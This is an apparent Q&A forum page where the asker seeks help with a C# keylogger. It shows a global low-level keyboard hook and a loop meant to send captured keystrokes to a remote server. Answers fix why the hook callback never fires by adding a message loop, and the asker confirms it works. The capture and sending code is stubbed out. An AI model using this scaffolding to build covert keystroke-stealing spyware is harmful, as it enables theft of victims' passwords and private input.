5

I am writing a keylogger in C# but am having some trouble getting my hook method called from the keyboard events. My code appears correct but for some reason the callback is not happening.

Here is the relevant code:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

static void Main()
{
    /* install low level global keyboard hook */
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    /* every 60 seconds, process collected keystrokes */
    for (;;)
    {
        Thread.Sleep(60000);
        SendKeyData();
    }
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    /* code to handle key events would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}

private static void SendKeyData()
{
    /* code to send accumulated keystroke data to remote server would be here */
}

The SetWindowsHookEx call returns a handle (i.e. not a null) as it should, so it should mean that it is installed, but when I put a breakpoint in HookCallback, it is never reached.

Can anyone please advise what I may be doing wrong?

Jeff LaFay
  • 12,882
  • 13
  • 71
  • 101

2 Answers2

4

Looks like you are writing a console application. This should be a forms application, since you are handling windows events. Just hide the form, and it should work.

As a work-around for console applications, you could call Application.DoEvents() in your loop:

for (;;)
{
    Thread.Sleep(1);
    Application.DoEvents(); //Process event queue
    SendKeyData();
}

Please use this for good, not evil.

BlueRaja - Danny Pflughoeft
  • 84,206
  • 33
  • 197
  • 283
  • Don't sleep for a minute, that's going to trip the hook timeout. 45 msec is a happy number. Application.Run() is better. – Hans Passant Apr 07 '11 at 18:03
  • Many thanks! The combination of the answers from both of you led me to a successful result. I did not realize that I needed an explicit message loop. Now my program calls Application.Run() to do that, and the sending of key data is done using a separate thread via a BackgroundWorker (and communication between the two threads via Synchronized Queue). I will update my question with the working code. – Tomas Vorac Apr 07 '11 at 18:40
  • If you need to use `sleep` use `sleep(1)`. This code delays all keyboard input, and IMO both 45ms as @HansPassant suggested, and 450ms are unacceptable. The correct solution would be a blocking message dispatch, but no idea how to do that in a console application in C# without calling winapi functions directly. – CodesInChaos Apr 12 '12 at 21:59
  • Meh, I can't read 1000 characters a second. 45 msec is the happy "as fast as a movie" and "just low enough for the Windows tick" kind of happy. Application.Run() is the "blocking message dispatch". – Hans Passant Apr 12 '12 at 22:17
  • Having some code add an input latency that randomly varies between 0 and 45ms isn't something I'd like to have on my comp when playing a game. – CodesInChaos Apr 12 '12 at 22:32
  • Oh, I didn't realize the callback was blocking. I'll change it to `1` rather than figure out a better solution, as this is a rather old question. – BlueRaja - Danny Pflughoeft Apr 12 '12 at 22:46
0

Try replacing GetModuleHandle(null) with

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName)

and see if that does the trick. Note that both the Process object returned from GetCurrentProcess() and the ProcessModule object returned from MainModule are disposable so you may want to declare them as variables and then dispose of them manually; even better, put them in a using block.

jvstech
  • 844
  • 1
  • 9
  • 28
  • Thanks for your reply but that wasn't the problem - though I did have a problem with the parameters for SetWindowsHookEx initially, mistakenly putting a parameter for thread id as well when I just needed the module handle of current process for global hook. – Tomas Vorac Apr 07 '11 at 18:42